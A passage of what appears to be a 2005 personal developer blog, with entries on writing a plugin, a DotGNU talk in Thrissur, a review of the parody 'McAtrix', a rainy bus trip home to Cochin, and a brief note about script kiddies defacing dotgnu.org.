Starting from a simple sample, it didn't take me any time at all to get a working plugin. I have never written an easier plugin, the hard work was mainly to handle curl and get the regexes just right. I am too lazy to trim out the Yahoo! specific peices and throw out a really generic version, otherwise I'd have just pushed the code here.

posted at: 18:44 | path: /hacks | permalink | Tags:

Wed, 02 Nov 2005:

I went down (or rather up) to Thrissur, to talk at Insignia '05. I had gone there to talk about DotGNU. All my slides with the demos (IDE and VOIP client) were all packed up and placed in /slides.

Friday, I set out to Thrissur on the Shoranur passenger. I was shocked when I took a ticket because it cost just 15 INR (33 cents) for the 75 km journey. I pay twice the amount to travel the 7 km from home to office daily. But I had a faint realization of what the railways have done for India - it had made long distance travel a reality for a whole new strata of the economy. The train was a crowded slow affair - but all passenger trains are. I got to Thrissur around 9:40 AM after two hours of slow crawling and stopping at 9 stations.

The people sent to pick me up didn't expect me - they were expecting someone more serious, formal and older. But I went to the college with them in a rented car anyway. That's when the world threw me a curve ball - VSNL login servers were down in Madras (ok, Chennai). I couldn't log on or download my slides.

In black and white for some reason.

So I sort of hacked up a bunch of slides then and there, gave a barely technical talk. Walked the crowd through what was being compiled, asked them what I18N meant, what gcj was. The real problem was that the box had Linspire installed - had to get it rebooted with a Knoppix CD before I got anything useful done. Talked for 1 hour 40 minutes with just a 5 slides and 6 demos. The crowd literally ran out when I finished my talk.

I was shipped out back to Cochin at 8 PM. The Cochin International Airport is quite a sight at night, mainly because the train tracks are perpendicular to the take-off stretch. The planes literally fly over you when they take off. The landing lights are quite something to see - the lights going on till forever when it fades into the fog.

Wish I had a camera ... there were some really pretty girls down at Thrissur. And not in the Bangalore - shaped eyebrows, red lipstick and high heels - way, but in a very definitively mallu way.

Kodak moments never happen when there's a camera handy

posted at: 13:41 | path: /travels | permalink | Tags:

The Matrix was a great movie. It carried a whole sub-culture along with it. It portrayed the time tested Hero theme : obscurity, the calling, proving and winning approach with some original colour. Those who have seen The Truman Show will not always associate it with the Matrix, but the basic suspicion of a huge conspiracy lives within each of us. It has been forever exploited by movies like Men in Black or Blade, to show a glimpse of a world which could well exist with ours.

McAtrix is not just a dumb parody. Most of it actually makes sense. Nemo, Thinity, Smurpheus and the underground trains actually sort of have their senses. Even worse is how you jack in to the matrix. The real fun is what follows after the initial stupidity.

The orifice said that "No One can get past the gents in the system". Smurpheus is actually looking for the No One. Someone who doesn't exist and can therefore bend the rules of the McAtrix. And Nemo (Gordon Everyman) is offered two drinks - a red one and a blue one. The red one is cranberry juice and the blue one is toilet cleaner - sort of hammers down into your head that There is no Choice. The McPod, PoddaHut and SubPod sort of makes fun of the McDonalds, Pizza Hut and Subway - all the same thing sold as seperate via different windows.

Extensively made a mockery of all Matrix is without losing the essential concept. There is no choice, not all is as it seems and there is no Humanity left to save.

Buy a McPod today !!

posted at: 12:30 | path: /books | permalink | Tags:

When I set out for home on Tuesday, I knew it would be hard going. To start off, I didn't get an auto from M.G Road, I had to walk the whole 8 kms to Madivala to get to the bus towards home. After getting to Madivala, the buses were delayed by an hour. I waited in the rain not daring to go and grab food, because it was already 9 and my bus was for 8:45. It finally floated in at around 10:10 and continued to float into Hosur road. I stayed awake till we hit Coimbatore and then slept like a log (at least like a log that was putting up a fight at a saw mill ). It rained like anything till then - I have some vague memories of a clear window when I got to Valayar.

Woke up when I got nearer to Cochin and thankfully it was all warm and sunny there. I remembered seeing an elephant on the roadside near palaghat teak plantations.

The long and short of it, I got home, feverish and dirty but in one peice.


posted at: 12:20 | path: /travels | permalink | Tags:

Some script kiddies have broken into dotgnu.org . Minor problems, will be fixed soon I suppose. The pull-from CVS script does not delete any files unfortunately. Otherwise the page would have only lasted an hour or so.

Once the files are thrown out and the scripts rewritten to nuke and re-checkout if cvs update fails - such crude script kiddie stuff will be thrown out with the next hour's update.

Hindsight is 20/20

posted at: 11:00 | path: /dotgnu | permalink | Tags: